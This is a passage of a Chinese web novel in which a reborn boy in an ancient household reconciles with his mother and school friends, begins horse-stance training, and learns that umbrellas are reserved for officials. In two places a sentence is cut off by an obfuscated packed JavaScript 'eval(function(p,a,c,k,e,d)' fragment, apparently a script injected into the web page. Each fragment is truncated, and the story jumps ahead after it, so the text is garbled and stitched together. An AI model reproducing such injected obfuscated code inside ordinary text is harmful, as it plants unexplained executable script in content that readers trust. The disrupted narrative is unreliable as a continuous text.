索性韦仁不靠这些稻米填肚子,干脆干的湿的半干半湿的都试一试。韦仁如此这般解释了一番,韦世然也就不再担心有些种子会因为缺水死掉,专心等着看韦仁如何播种。 所谓播种,就是把种子洒在盆里,再在上面盖一层土就行了。 韦世然跟在韦仁身边,看他往盆里放那些长出白芽的种子,然后铲土往种子上撒,觉得很好玩儿。韦世然搓搓手:“五郎,你不是还要写字吗,你去吧,剩下的我帮你种。” 韦仁看着韦世然:“你都受伤了,还要干活儿?” 韦世然一挥小手:“这点儿伤算什么?” 韦仁把铲子递给韦世然,一边拍掉手上的土,一边吩咐沈决明:“你看着些。” 沈决明点头。 韦世然以为韦仁不信他,有些不满:“这么简单的事,我不可能做错!” “撒完种子还得支防鸟网。”韦仁指指盆子上用墨汁标注的数字,“而且,每个盆里种多少种子是有数的,让沈决明告诉你,他之后还得帮我写种植日志呢。” 韦世然这才没再说话。 韦仁心里存着事,写完功课、练完韦玄成和戚先生规定的大字、带着沈决明记完笔记和种植日志,韦仁只觉比平日疲累数倍。直到沐浴完毕,韦仁回到卧室,躺在床上,还来不及翻一次身就陷入了黑甜之中。 韦仁次日清醒后还有些得意自己沉得住气,若是在上辈子,遇到没有彻底解决的糟心事,他就算不彻夜失眠,也得辗转反侧。 然而,韦仁的得意只持续到他的双脚踏入正院前的那一刻。韦仁突然意识到,让厨房准备夜宵、让阿珀转达他的歉意,和直面赵氏——一位为他奔波又被他气到吃不下饭的母亲,完全是两回事。 韦仁不知道她是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赵氏轻哼一声,片刻后也忍不住弯起了唇角,笑骂:“你以后惹事前先想想你阿翁和我,我就谢天谢地了。”赵氏起身,走向饭厅,行到韦仁身边时,抬手揉了揉韦仁的后脑勺,“好了,来吃饭吧,你让厨房做的粥我吃着不错,一会儿你们都吃些。” 韦仁扬起头对赵氏露出一个笑:“好。” 见韦仁的笑容如往日一般自在明朗,赵氏暗暗松了口气——韦元茹才与她说了和韦仁在祠堂时的对话,赵氏没想到韦仁会那般思虑,她让韦仁“慎言”,是怕他受伤,可不愿自己的儿子小小年纪就如此“多思”! 生养过韦世然和韦元茹的赵氏自然有察觉到韦仁的“早慧”,之所以没有太过惊讶,不过是“神童”自古有之。前有项橐七岁为师,后有甘罗十二岁拜相,听起来都是不凡的人生,但赵氏只记得这俩一个十岁、一个十二岁就早早夭亡。或许韦仁没有先贤那般智慧,赵氏也怕他步上先人的后尘呐! 韦仁不知道自家母亲已经把他和“圣公”、“宰相”放在一起比较了,吃完早食就和韦世然一起上学去了。 韦仁纠结怎么和赵氏和好的时候,有个人也在纠结怎么与他和好呢——熊大宝回家后与金氏讲了许多事,重点是他对韦仁的“背叛”的伤心。 金氏也知道韦仁是熊大宝“除大黄以外的最好的朋友”,对两个孩子的事也很关心,熊大宝追溯前情时,就说到了“升米恩、石米仇”的故事。听完熊大宝复述的故事,金氏暗暗称奇,心中对儿子的这个朋友也更加看重几分,这可不是简简单单会背书、会算数的聪明。 看着儿子难过和茫然的小脸儿,金氏与他仔细分说:“他早先就提醒过你,别人会因分餐的事怨怪你,是你没听他的。今天他催着你表态也是为你好,幸好你没说愿意继续给你那些同窗带吃的,你入学才一月,他们就把分你的饭菜当作理所当然,若再久一些,说不定就有人敢与你点菜了。” 熊大宝还是不明白为什么他给大家带了那么久的吃的,别人还要怪他,但他一向很听金氏的话,就说:“那我要和五郎道歉吗?” “你还想和他做朋友吗?” 熊大宝点点头。 “你可以问问他愿不愿意来咱家玩儿。”算了算时间,金氏说,“这次休沐梅大夫不是还要过来给你看病吗,正好,你让韦仁一起来,我让厨房给你们准备好吃的。” 熊大宝很心动,他还没邀请过朋友来家里玩儿呢! 于是,韦仁一到学馆就接到了熊大宝的邀请。 有和赵氏的争吵“珠玉在前”,韦仁早忘了他昨天把熊大宝从学馆厨房气跑的事,也就没察觉这是熊大宝对他释放的求和信号,所以韦仁实话实说:“不行。” 熊大宝:…… 22. 习武 直到韦仁与熊大宝解释他已经答应自家大姊休沐时帮忙洗贝壳的事,并承诺下一个休沐日会去熊家拜访后,二人友谊的小船才重新起航。 与熊大宝的“矛盾”在韦仁的无知无觉中就过去了,韦仁却是将戚丰彻底排除在可交往名单外,面对面都能双眼放空当作没看到的那种,把看到韦仁就想对他翻白眼以示不喜,结果连一个眼神都没能对上的戚丰气得差点儿又跟他干一架。 韦仁认为与谁交往是他自己的事,所以他完全没想到自己对待戚丰的态度会影响到其他人。 首先就是韦世然。 要说学馆里的同窗之间,打过架的不占多数,但有几个是没吵过架的?大家都是吵完就算,之后该怎么一起耍还怎么一起耍。 谁想韦仁不这样,他说不理就是真不理了。见弟弟如此厌恶戚丰,还处在“朋友的朋友也是朋友”阶段的韦世然就开始犹豫:是否应该继续和戚丰玩耍? 在韦世然看来,韦仁是很依赖他的,若他午休时和戚丰玩儿得太高兴,韦仁肯定会很不高兴。 韦世然一表现出来对戚丰的疏远和冷淡,秦宁双和卫询也不得不顾及韦世然的感受。 于是,午休时间的游戏小团体内部的气氛就尴尬了,平时能高高兴兴玩儿到上课前,直到戚先生敲响课室外的铜铃,大家才会结束游戏,今天却是提前两刻钟就散了。 秦卫二人与韦世然亲近,已经知道韦世然的想法,散了以后就拉着韦世然与他说话。 秦宁双认为韦世然没必要跟着韦仁的步调走:“你与五郎说说,男子汉不该计较太多,打都打完了,他又没吃亏。” 韦世然想起韦仁和赵氏吵的那一架,反驳:“怎么没吃亏?五郎当时又没说错,是戚丰先找茬的。”韦世然不高兴了,“你哪边的?” 秦宁双举起双手往下压了压,示意韦世然冷静:“我也没说五郎有错,我是想大家一直像今天一样别扭着不好,难道以后就不一起玩儿了?” 别说,韦世然还真在考虑这事,秦宁双见状,急忙劝说:“世然,你才是兄长,你不能什么事都顺着五郎,你做兄长的威严呢?”秦宁双也有两个弟弟,都被他训得服服帖帖的。 可惜,韦家的家教不是这样的,韦世然在地上划了一个“悌”字:“弟爱兄谓之‘悌’(1),那也是兄的‘心’里有‘弟’才行。” 蹲在一边的卫询大赞:“说得好!下次我二兄再教训我,我就这样说他!” “这是我阿翁说的。”韦世然接着戳穿卫询的抱怨,“卫二兄每月都带你去食肆,还给你钱花,他教训你天经地义。” 卫询:…… 秦宁双捂脸,缓了缓才继续劝韦世然:“你对五郎够好了,你也可以教导他。” 卫询站在“弟”的立场上,思路与秦宁双正好相反:“五郎那么丁点儿大,咱们去说他,逼他和戚丰和好,不是欺负他吗?不如找孙赏说说,让他劝戚丰给五郎道歉,五郎不生气了,也就好了。” 秦宁双想了想,觉得这也是个办法,主要是他看韦世然的样子,实在不像能劝动韦仁的,于是,秦宁双就去找孙赏了。 秦宁双如此这般解释了一通,最后说道:“你劝劝戚丰呗。还是你也想以后午休时,大家各玩各的?” 孙赏这才明白今天游戏的时候那种黏黏糊糊的不爽快感出于何种缘由,孙赏皱起眉头:“先生都罚过了,韦仁还揪着这点儿事不放,也太小气了,难道非要戚丰当着大家的面再给他道一次歉?” “只有道歉了才算有个了结,你看世然和戚丰,互相道完歉就没事了。” 孙赏听着不对,问:“戚丰和韦仁没互相道歉吗?”戚先生连他们的长辈都请来学馆了。 “没有。”韦仁只肯对鸡蛋道歉,戚先生也不好就压着戚丰单方面与韦仁道歉。 “那凭什么只让戚丰对韦仁道歉?” “因为韦仁不听世然的,世然自己也不乐意。世然脾气好,但要真决定不搭理戚丰,我也没辙。”秦宁双提醒,“咱们若是拆伙儿,以后谁也争不过齐震他们。” 孙赏摇头。虽然他觉得这事戚丰不占理,可戚丰是他罩的,孙赏不会退让:“那也没道理只让戚丰道歉。” 秦宁双想了想,说:“你劝戚丰先对韦仁低个头,我再让世然劝劝韦仁,这样行不行?” 见孙赏还在犹豫,秦宁双撇嘴:“别以为我不知道,戚丰找韦仁麻烦是被王弃疾撺掇的,他自己分不清好赖,你也看着他傻子似地和韦仁较劲儿?” 孙赏一噎:“我已经说过王弃疾了。”有两个不够聪明的跟班,孙赏也很苦恼,抓抓头发,孙赏说道,“好吧,我与戚丰说一说,不过韦仁也要向戚丰道歉。” “只要戚丰先道歉。” 秦宁双记得卫询的话,怕带着韦世然有逼迫之嫌,反而刺激得韦仁咬死不答应,便在放学后独自找上了韦仁。 两个人就站在学馆后院院门前的墙根处,秦宁双探头看了一眼后院的院子,见先生不在才收回视线,秦宁双的余光扫过搭了竹架的菜地,随口说一句:“五郎,我听世然说你喜欢种东西,我家有很多漂亮的花,休沐时你要不要来我家挖一些?” 韦仁顺着秦宁双的话与他寒暄:“谢谢宁双兄,我和大兄的院子已经种满了,没地方了。” 秦宁双对韦仁种的东西还真是有些好奇:“那个稻米也就算了,你怎么还种野草呢?” 韦仁反应了一下才明白秦宁双说的“野草”是什么,解释道:“不是野草,是艾草,我在院子里种水稻,蚊子会变多。” 秦宁双就是很招蚊子的那种人,连忙问道:“种艾草就没有蚊子了吗?” “取新鲜的艾草挂在房门外就能驱虫豸,也可以把艾叶晒干做成药包挂在身上。”说着,韦仁就想起了青团,可惜,他现在还没见过糯米,十分遗憾又有些前言不搭后语地说,“其实,艾叶鸡蛋肉饼也挺好吃的。掐最嫩的艾叶,焯过水,剁得碎碎的,再拌上鸡蛋和肉糜,除了精盐什么都不用放,用油一煎,哎呀,真是要多香就有多香。” 秦宁双生生被韦仁说馋了,吞了口口水:“真那么好吃?” “又香又嫩。” 秦宁双不好意思和韦仁开口,就想着回去让家僮去城外割些艾草回家,也让家里的厨师做给他吃! 韦仁愿意的时候还是很会察言观色的:“宁双兄,我明天带一些过来,你尝着若好,我以后摘艾叶时,就给你家送一些过去,这两个月都是吃艾的好时节。” 秦宁双十分心动,他和韦世然亲厚,既然韦仁主动提出来,他便也没推辞:“好,那我就不与你客套了。” 韦仁笑眯眯地:“本来就不用客套,我也去你家吃过饭,那道清炖甲鱼太好吃了。” 秦宁双顿时觉得韦仁乖巧可人:“下次你和世然一起来,我让厨房再做给你吃。哎,你以前不常出门,现在你都长大了,不能老闷在家里。” 提起韦世然,秦宁双终于想起来此行的目的:“对了,我有件事与你说。” 韦仁腹诽,你可算想起正事了,嘴上应道:“什么事?” 秦宁双先说韦世然因为他要和戚丰彻底闹掰,又说,如果闹掰,他们人少势微,以后很难在朝元馆中最大的那片空地玩耍,最后说,戚丰愿意先向他道歉。 “夫子都说‘和为贵’,同窗之谊又不同于其他,你就算不喜欢戚丰,平时少交往,也不用闹得那般僵。” 韦仁听得一愣一愣的,一个小学学馆的人际关系就能如此复杂吗?而且,他闹什么了?连他不搭理谁都需要其他人同意? 韦仁仰着脑袋,问道:“我看孙赏也不傻,怎么选朋友要选那么蠢的?” “咳、咳咳!”秦宁双被口水呛得咳嗽了好几声,瞬间清醒,“乖巧可人”什么的果然是错觉! 秦宁双勉强帮戚丰辩护一句:“呃……戚丰的课业也还可以的。” 见秦宁双白玉似的脸涨得通红,韦仁不再绕弯子,直接说:“我不喜欢戚丰是我的事,你们继续和他玩儿呗,我不在意的。” 秦宁双:……你不在意你冷着一张脸,让学馆里所有人都能看出来你与他不和? 秦宁双如今看韦仁,更觉这破孩子和世然完全不像,一点儿也不实在! 秦宁双暗暗吸气,说道:“你不在意,世然在意啊。世然觉得如果他继续和戚丰玩儿,你会不高兴,他不想你不高兴。”秦宁双换上哄妹妹时的语气,轻声哄劝,“我也知道昨天的事你受委屈了,但咱们心胸广阔,你也说戚丰不聪明,咱们不与一个傻子计较,如何?” 秦宁双叨叨许多,韦仁却有轻微的怔愣——他不想你不高兴——多简单的理由啊。 “宁双兄,我没受委屈。”见秦宁双一脸便秘的表情,韦仁的嘴角不禁翘起来,“不过,好吧,戚丰若先与我道歉,我就假装原谅他了,不让宁双兄为难。” 秦宁双精神一振,虽然他没搞明白是哪句话打动了韦仁,不过他反应很快,追问道:“既然你肯假装原谅戚丰,那也假装与他道一下歉,行吗?” 韦仁看秦宁双一眼,没说话。 秦宁双见状,一把搂过韦仁的肩膀,上下搓了搓:“好弟弟,你就当帮兄一个忙,答应了吧?” 韦仁想了想,点头应了:“宁双兄的忙是要帮的。” 韦仁第二日再来学馆时便带了艾叶鸡蛋肉饼,当然不止有秦宁双的,还有卫询和熊大宝的份。三人虽然都吃了早食,还是在上课前将韦仁带来的艾叶鸡蛋肉饼全部吃完了,那混合着艾草和肉香的味道顺着窗户飘入课室内,勾得许多学生无心早课。 韦仁在午休时也按照与秦宁双的约定,在孙赏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只是以韦仁如今的年岁,要步入权势、能力或者金钱成为衡量一个人的首要标准的阶段前,至少还要十到十五年。要拼课业,他的进度也没办法一下子追赶上别人几年的积累,韦仁也不想把所有精力都放在课业上。而融入一个圈子,或交上一二好友作为助力,则需要看缘分。 算下来,学武势在必行,若他能一巴掌拍飞戚丰,估计许多人就不是劝他和戚丰和好,而是劝戚丰不要惹他了! 韦仁突然要学武,韦玄成先问:“你是想学骑射?还是和你大兄一样,学角抵?” “我要学武艺,强壮身体。” 韦玄成有些怀疑:“人家学武可是寅时就要起来练功的。”谁小时候没做过大侠梦呢,问题是,你得有那个本事,吃得了那个苦呀! 韦仁眨巴眨巴眼睛:“我晚上练功,从酉正开始,每天半个时辰。” 还好,看来韦仁是有认真考虑过,还算务实,韦玄成也就放心了,至于韦仁能坚持几天,韦玄成倒是无所谓,哪怕骑射也要等韦仁十岁以后才能正式学呢。 另一边的赵氏以为韦仁之所以起了学武的念头,全是为了她教训他的那些话,忍不住问一句:“怎么突然想起学武了?” 韦仁略去思索时的过程,只给出一个结论:“为了不被欺负。嗯,有需要的时候,也可以帮到大兄。” 赵氏原本想着,若韦仁提起她之前教训他的那些话,就趁机宽慰宽慰二儿子,不想韦仁说了这样的话,赵氏顿时心疼得不得了:“智者不惑,勇者不惧。你能这样想已经胜过许多人。学武和读书一样,不是一日之功,你既想学,就好好学。” 韦仁承诺:“我会好好学的。” “我让人给你做几套短衣,明天就送去君子院。”韦仁虽不懒,却并不好动,赵氏以前给他准备的都是大袖深衣。 赵氏又问:“你想与谁学呢?” 韦仁心中的人选本是沈决明,见还有其他选择的可能,瞄一眼韦玄成,韦仁期待道:“许叔行吗?” 韦玄成斜睨着韦仁,直接替许靖拒了:“想得美,等你能寅时起来练功再说吧。” 虽然驳回了韦仁的要求,韦玄成补偿般地又给韦仁画了个饼:“你先跟着沈决明学,他们姊弟在家里训练家僮这些时日,我看那些人已经有些样子了,想来教你也是可以的。等你也有些样子了,再问问许先生。” 赵氏担心韦仁失望,跟着劝:“听你阿翁的,到时候,哪怕许先生腾不出空来,也可让他推荐一二正经的武学师傅给你。” 韦仁并不失望,不过还是摊摊手,说道:“行,我就先用不正经的沈决明凑合凑合。” 赵氏和韦玄成哭笑不得,韦玄成更是搂过韦仁,在他屁股上拍了一下:“淘气!” 23.扎马步 尽管韦氏夫妇对二儿子习武的事都表现出了鼓励的态度,但韦玄成十分担心韦仁那脆弱的小身板会因为练武累着了,忍不住私下里叮嘱了一回沈决明,中心思想就是让沈决明把“教五郎君学武”当成“带着五郎君活动腿脚”。 而赵氏则是直接吩咐毋忧:“五郎习武时你看着些,别让他们过了头。” 类似的事,在沈决明教导韦世然角抵时就有过一次,那次沈决明领命并不打折扣地执行了,这次却是不能。 沈决明与韦仁相处也有一段时间了,知道韦仁不好糊弄,所以,趁着给韦仁记笔记时,沈决明问了韦仁自己的想法:你要练成什么样? 韦仁看着沈决明在书案上划出的字,想了想,说:“先打得过杨翰和杨明那样的就行,你还记得他们吗?就是被你踹下水的那两个。” 沈决明不止记得杨氏兄弟,他还记得韦仁抬脚踹人家,结果差点儿把自己踹了个屁蹲儿的样子。 沈决明犹豫了一下后向韦仁伸出左手,手掌掌心对着韦仁,右手继续划字:握住我的手,用最大力气。 “你要测试我的握力?”韦仁手小,单手很难握住沈决明的手掌,而且手指和手掌连接的部位,捏不好就会很疼,韦仁干脆握住沈决明的手腕,见沈决明不反对,才用尽全力收紧手指。 沈决明感受了一会儿后,将手掌竖起,示意韦仁全力出拳击打他的掌心。 韦仁试了试,听着那“啪啪啪”的轻而脆的声音,总结道:“坐着不好使力。” 沈决明不置可否,二人干脆起身去了院子,沈决明半蹲着,依然竖起手掌,韦仁摆开架势,对着沈决明的手掌就开始出拳。 捶了几下,韦仁满意地想,这次的声音果然比屋中那几下瓷实,结果,沈决明忽然收住左手五指,也将韦仁的左手攥在手心里。 韦仁下意识地抽手,自然没抽出来,不由疑惑:“怎么了?” 沈决明的左手依然稳稳攥着韦仁的拳头,右手在韦仁伸过来的右手上划字:感到疼时说话。 韦仁扫过沈决明指下的最后一个字,正想应好,结果左手就感觉到了无法忍受的压力,不由自主嚎叫出声,右手同时拍向沈决明的手背:“疼——!疼!疼!放手!” 沈决明连忙松开手,看着韦仁毫不作伪的痛苦表情,沈决明脸上的表情也是一言难尽:他才开始用力! 疼痛也就是一瞬间的事,韦仁却是甩了好几下手才将那股残留的疼痛感挥散,一抬头,就对上了沈决明那双糅杂了震惊和无语的黑漆漆的眼睛。 韦仁有些尴尬:“每个人对疼痛的敏感度不一样,你懂吧?” 沈决明没听说过“敏感度”这个词,但已经明白韦仁的意思。 接下来,沈决明又测试了韦仁的腿部力量、速度和柔韧性,测试到最后,沈决明想起韦仁那个“打得过杨翰和杨明”的要求,只觉得有什么无形的东西压在了肩膀上,十分沉重。 韦仁知道学习好的人不一定能成为好老师,他想了想,决定要求沈决明为他做一份计划:“你写过计划书吗?” 沈决明眼中尽是茫然,他从没听说过“计划书”这个词,而且“书”是什么人都能写的吗? 韦仁想了想,灵光一现,想起一句“古语”:“凡事豫则立,不豫则废。意思是说,做事前做好计划,嗯,就是要做什么、怎么做之类的,做好计划事就能成,否则就不成。‘豫’就是计划的意思,把计划写成文章,就是‘计划书’。” 沈决明恍然,只是,明白词义不等于会做,沈决明在韦仁的手心里划字:我原想按照我小时候练武的方式教你的。 “可以,我不懂武事,自然是听你安排。不过还是要制定计划,你先写个季度性教学计划给我,详细的教案最好也准备一份,我好心里有数。” 韦仁又将如何做一个完整的计划说与沈决明,他没系统学过管理,但做过很多计划,所以讲得十分详细,有些沈决明教他学武时肯定用不到的部分,例如责任划分和预算之类的事情也顺口讲了。 沈决明听得很认真,但听完仍然十分糊涂,额头上渐渐浸上一层薄汗。 韦仁看出沈决明的窘迫,笑着安慰:“别担心,我会教你的。”韦仁忽然想起一事,“对了,你几岁开始习武的?” 沈决明竖起三根手指头。 韦仁震惊:“怪不得你能有如今的武艺。”震惊过后又有些安心,他的身体素质再差应该也不会比三岁的沈决明差。 韦仁的想法是,有了完整计划再开始习武,不过沈决明认为,韦仁可以先练起来,不用正式开始,每日跑跑步、压压腿,先适应一下也是好的。 韦仁把沈决明当武学先生,便听从了。 于是,韦世然每天傍晚在沙坑里和阿桂等人角抵时,韦仁就围着君子院跑……走圈儿。 韦仁走走跑跑活动了两天,沈决明的计划书和教案就写完了,不是沈决明写得太快,实是沈决明给韦仁制定的季度计划十分单一,就一项内容:扎马步。 这样简单的计划还花费了两天,是因为沈决明的教案做得仔细,他把扎马步进行了拆解,把身体每一处姿势和要领都描述得十分详细,若不是画功有限,韦仁相信沈决明能给他画出一本小儿书来。 俗话说,术业有专攻。沈决明身体力行地为韦仁做示范,韦仁也已经把教案牢记在心,奈何当韦仁信心满满地迈开双腿、屈膝下蹲、握拳于腰侧时,仍被沈决明挑出了一大堆毛病。 沈决明不能说话,便直接上手纠正韦仁双腿展开的幅度、膝盖的朝向…… 最让韦仁丢人的是,当沈决明轻拍他的脊背和后腰示意他拔背收臀时,韦仁一个没稳住,直接向前栽了个跟头,看得蹲在一边看热闹的韦世然几人笑得前仰后合。 虽然沈决明眼疾手快地揪住了他的衣服没让他彻底趴到地上去,但被人拎在半空中也很丢人呀! 韦仁站直了身体,难得羞了:“笑什么笑?谁还没有个第一次!” “我学扎马步时可没摔过!”韦世然从地上跳起来,蹲了个标准的马步,还“嚯嚯嚯”地冲了几下拳,虎虎生风的样子看得韦仁一阵羡慕。 韦仁与沈决明打听:“我要练成这样,需要多久?” 沈决明想了想,竖起一根手指。 韦仁猜测:“一个月?呃……一季?”看到沈决明的表情,韦仁最终不甘不愿地改口,“一年?” 沈决明点头。 其实沈决明也不确定,不过,韦仁如果真能坚持一年,那时大概也不会再问出这样的问题了,是不是一年也就无所谓了。 韦世然捏捏韦仁单薄的肩膀:“我觉得悬。” 韦仁拍掉韦世然的爪子,深吸一口气:“一年就一年。”说完,韦仁不再理会韦世然,重新扎马步。 不过,按照沈决明的标准扎马步,韦仁根本坚持不住哪怕一个呼吸的时间。 两个人试了几次,韦仁仍是立不住,最终沈决明只得降低标准,让韦仁先不蹲那么深,步子不必开的那般大,只要求他一定挺直脊背。 就是这般低要求,韦仁也顶多坚持十息。沈决明见状就让韦仁每蹲十息就站起来活动十息,然后再继续。 韦仁就这样蹲十息站十息,反反复复地过了一刻多钟,就已经满脸汗水。 豆大的汗珠自韦仁的额头顺着脸颊滑落到下巴,然后直直落下,最后在地上砸出一个不规则的圆形水痕。 扎马步的十息堪比“渡息如年”,又枯燥又难熬,韦仁眨掉睫毛上的汗水,眼珠也仿佛蒙了一层水汽,湿润而明亮,嘴上还叨叨着给自己鼓劲:“等这块儿地砖被我的汗水滴穿,我就是一代大侠了!” 沈决明的耳朵听着韦仁欢欣鼓舞的胡说八道,眼睛已经看到韦仁的腿抖得连蚊子都不能安心落在上面,示意韦仁可以了:今天到此为止。 韦仁心底松了口气,说出的话却是:“还没到时间呢吧?”韦仁计划每日锻炼半个时辰。 沈决明却看出韦仁已经到极限了,也看出韦仁的口是心非,沈决明有一瞬间想当作没看出来,让韦仁继续,不过最终还是在手心里划字:最开始都是这样,先适应几日。 韦仁果然不再坚持,一屁股坐在地上。屁股着地那一刻,韦仁深信,人长屁股就是为了坐着的! 韦仁一边调整呼吸试图让心脏不要跳得那般快,一边无意识地捶腿放松。沈决明见韦仁如此,便半蹲到他身侧,拉起他的一条腿,给他揉按放松。 沈决明难得这么贴心,结果他才稍稍用力,韦仁就“嗷——”的一嗓子,声音都劈了:“沈决明!” 韦仁的嚎叫引来了毋忧,毋忧只看了一眼,便取了一个蒲团过来,让韦仁坐在蒲团上,又递给韦仁一块帕子让他擦汗,然后就拉起韦仁的另一条腿,跟着沈决明一起给他揉腿。 沈决明看着毋忧这一系列动作,抿了抿唇,垂下了眼睑。 毋忧出言宽慰韦仁:“五郎君,你忍着些,现在不给你揉开,明天你就走不了路了。” 韦仁知道毋忧说得没错,所以韦仁没抽开腿,但那种酸疼实在难耐,韦仁甚至忍不住生理眼泪从眼角渗出来。 韦仁的手无意识地攥着,抽噎着反驳:“‘忍’是什么?那是往心上戳刀呢。人长嘴是干嘛的?就是用来说话的,十分的疼,说出来也能变成八分,再哭一鼻子,八分变成六分,旁边再有人哄一哄,耳朵听得舒坦了,那六分就变成了三分!” 毋忧带着点儿笑意附和道:“五郎君说的是,听着就很有道理。”手上用力,引得韦仁又一阵嚎叫。 “嘶——哎,你这不叫哄,连夸奖都算不上,你可以说‘听君一席话,胜读十年书’。” 沈决明和毋忧皆是一愣,毋忧更是真心实意地说:“我没读过十年书,不过五郎君说的这话,听着就很厉害。” 能被传承下来的谚语当然厉害了。韦仁不知道这句话是谁在什么时候说的,但他不是什么大人物,没有著书立说,没有百姓传诵,这样的话也就在他嘴里过一圈儿,在毋忧和沈决明的耳朵里过一圈儿也就完了。 所以,韦仁就只说了一句:“不是我说的,是具有智慧的人说的。” 毋忧就以为韦仁是在哪本书里看过的,也不会追问。毋忧话不多,倒也能和韦仁一唱一和地聊上半刻钟,直到沈决明放开韦仁的腿,毋忧才跟着站起来。 韦仁吐出一口气,也跟着从蒲团上站起了身,韦仁这时候觉得腿上的酸疼已经缓解许多,至少不会再无意识地颤抖了。哪想韦仁才迈开一条腿,另一条腿就支撑不起身体,韦仁的身体一歪,眼见着又要和大地来一次亲密接触。 沈决明和毋忧都吓了一跳,好在二人反应都不 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直到沉入梦乡时,韦仁都未做出决定,不过次日一早,韦仁双脚着地那一刻,韦仁的心豁然间就敞亮了:犹豫个屁,谁受罪谁知道! 而且,就目前来看,沈决明还是可以信任的。也可以用这事试试沈决明,韦仁想着,他就只教导手法,哪怕沈决明真的管不住嘴,有人怀疑他,这事也很容易搪塞过去。 韦仁打定主意后,看向拿着衣服过来的沈决明的眼神就带上了些黄鼠狼看着小公鸡时的愉悦,直把沈决明看得毛毛的,沈决明迈向韦仁的步子都顿了一下。 “怎么了?” 沈决明摇摇头,他还想问韦仁怎么了呢。 沈决明将衣服放到床榻旁边的小几上,又在韦仁面前划了个“雨”字后,就开始收拾床铺。 “怪不得我觉得今天比前几天凉快。”韦仁一边呲牙咧嘴地穿衣服,一边嘟囔,“阴了这么多天,可算下了。”韦仁侧耳听了听,只有十分细密的雨滴落地的声音,看来雨并不很大。 韦仁猛然想起自己的宝贝水稻,它们可不缺水,根本用不到这么金贵的春雨的滋润。 韦仁忙问:“知道何时下雨的吗?”不会已经全泡了吧?虽然他自己也泡了几盆,但也不能让所有的种子都浸在水里。 韦仁穿上木屐就要往外冲,被沈决明一把拉住。 沈决明一边摇头,一边在韦仁的手心迅速划字:子时后开始下雨,我把稻子移到杂物房了。 “噢,费心了!”韦仁松了口气,随后好奇道,“你怎么知道那时候下雨的?打雷了?”韦仁是一点儿动静都没听到。 沈决明又摇了摇头,只伸手点了点自己的耳朵。 “是被雨声吵醒的?” 沈决明点头,不明白韦仁为什么突然拧起了眉头。 “我听说习武之人耳聪目明,但这是在家里,你也太容易被吵醒了吧?” 韦仁打量起沈决明的面色,也不像没睡够的样子,可十三岁的少年会被雨声吵醒,这事听着就不太像话,韦仁试探着问道:“你一直都这样浅眠吗?” 也不知道沈决明有没有听懂韦仁的言下之意,沈决明只是再次摇了摇头。 韦仁想了想,没再追问。 韦仁挺不喜欢下雨的,当然,如果是休沐日,他会很喜欢,雨天适合睡觉嘛,但上学日下雨,出行就是件特别麻烦的事。 这里的“出行”不单指出门在外,哪怕在家里,也很不方便——庭院皆为土地,雨水一多,积水和泥泞都在所难免,遑论还有数不清的蚯蚓自地底爬出。纵然韦仁不怕,但也不好踏着它们的身体走路,哪怕隔着木屐高高的鞋底,韦仁也无法承受那股爆浆的酸爽! 除了飞溅的泥点子、行动不便的木屐以及必须小心躲避的蚯蚓外,这时候还没有雨伞,只有沉重且刺人的蓑衣和斗笠! 韦仁十分疑惑,既然有华盖,为何没有雨伞,这俩长得那么像,难道就没人觉得小雨时打把雨伞要方便许多吗? 带着这种疑惑,韦仁在早食时问韦元茹:“大姊,你什么时候给姊夫写信?” 韦元茹才往嘴里舀了一勺蛋羹,闻言,咽下蛋羹,没好气地瞪向韦仁:“你又要让他给你做什么?” 十次有十次是韦仁管李四郎要东西,但信都是韦元茹写的,韦玄成和赵氏便认为韦元茹肯代传口信就是同意幺弟的请求,都劝韦元茹矜持些,毕竟李四郎对她有情谊,不会轻易拂了她的面子。 天知道,韦元茹曾经十分听劝地拒绝了韦仁的请求,没再给李四郎的回信中添上韦仁的“奇思妙想”,结果李四郎还主动问起了,言语间十分遗憾韦仁没有音讯给他。自那以后,韦元茹也就不管什么矜持不矜持了,反正人家俩人乐呵得很,韦玄成和赵氏也不再拦着。 赵氏和韦世然也听到二人的对话,都看向韦仁,韦仁便放下筷子,一边比划一边说:“我想姊夫做把伞,类似车上那种伞盖,下雨天,我可以撑着挡雨。”想了想,韦仁补充道,“太阳太大时,也能遮阳。” 韦元茹见过县长出行,结合韦仁的描述,倒是很容易想象出韦仁说的雨伞的模样。只是……韦元茹有些不确定地看向赵氏:“阿母,我们能撑伞吗?” 赵氏干脆地否认:“不行。” 24.牵钩 韦仁瞪圆了眼睛:“为什么?” “庶人不可用盖。” 韦仁目前接触到的关于规制的知识大多都是材质和规格方面的要求,比如平民不能着彩衣、不能坐马车,但总归平民可穿衣、也可坐车,还没有什么日常的东西是官吏能用,而普通百姓完全不能用的。 韦仁怀疑是不是自己没说清楚,解释道:“阿母,我说的不是用在车上的华盖,就是一种雨具,和蓑衣斗笠一样的。” 赵氏夹了一块腌萝卜条,放入口中后细细咀嚼,半晌后才说:“称呼不重要,在典仪里,‘盖’就是卤簿,是王公贵胄、官员大臣出行时用作仪仗的器具。” 韦世然这时插了一句嘴:“我看到过孙赏坐过有黑色伞盖的车,是他阿翁的车吧?” 赵氏点头:“三百石以上、千石以下的官员用皂布盖,你们阿公亦是如此。更加详细的典仪我就不清楚了,你们若好奇,待你们阿翁休沐,你们自去问他。” 这万恶的封建社会,使个雨伞还要分成三六九等,韦仁不吐不快,讥讽道:“最初发明伞盖的人肯定是想让它为万民遮风避雨,而不是让它给权贵做什么仪仗的。” 赵氏斜一眼韦仁,语气淡淡:“‘礼藏于器’,无论最初伞盖是做什么用的,在它被赋予其他意义时,它就不仅仅是伞盖了。‘礼’不可废,‘器’自然也不可乱用。” 赵氏最后一句明显是在告诫韦仁以及可能帮韦仁传话的韦元茹:不许让李四郎做伞。 韦元茹本就无所谓,韦仁听赵氏连“礼”都扯出来了,也知道有生之年持伞漫步在毛毛细雨中的情景是不可能出现在他身上了。 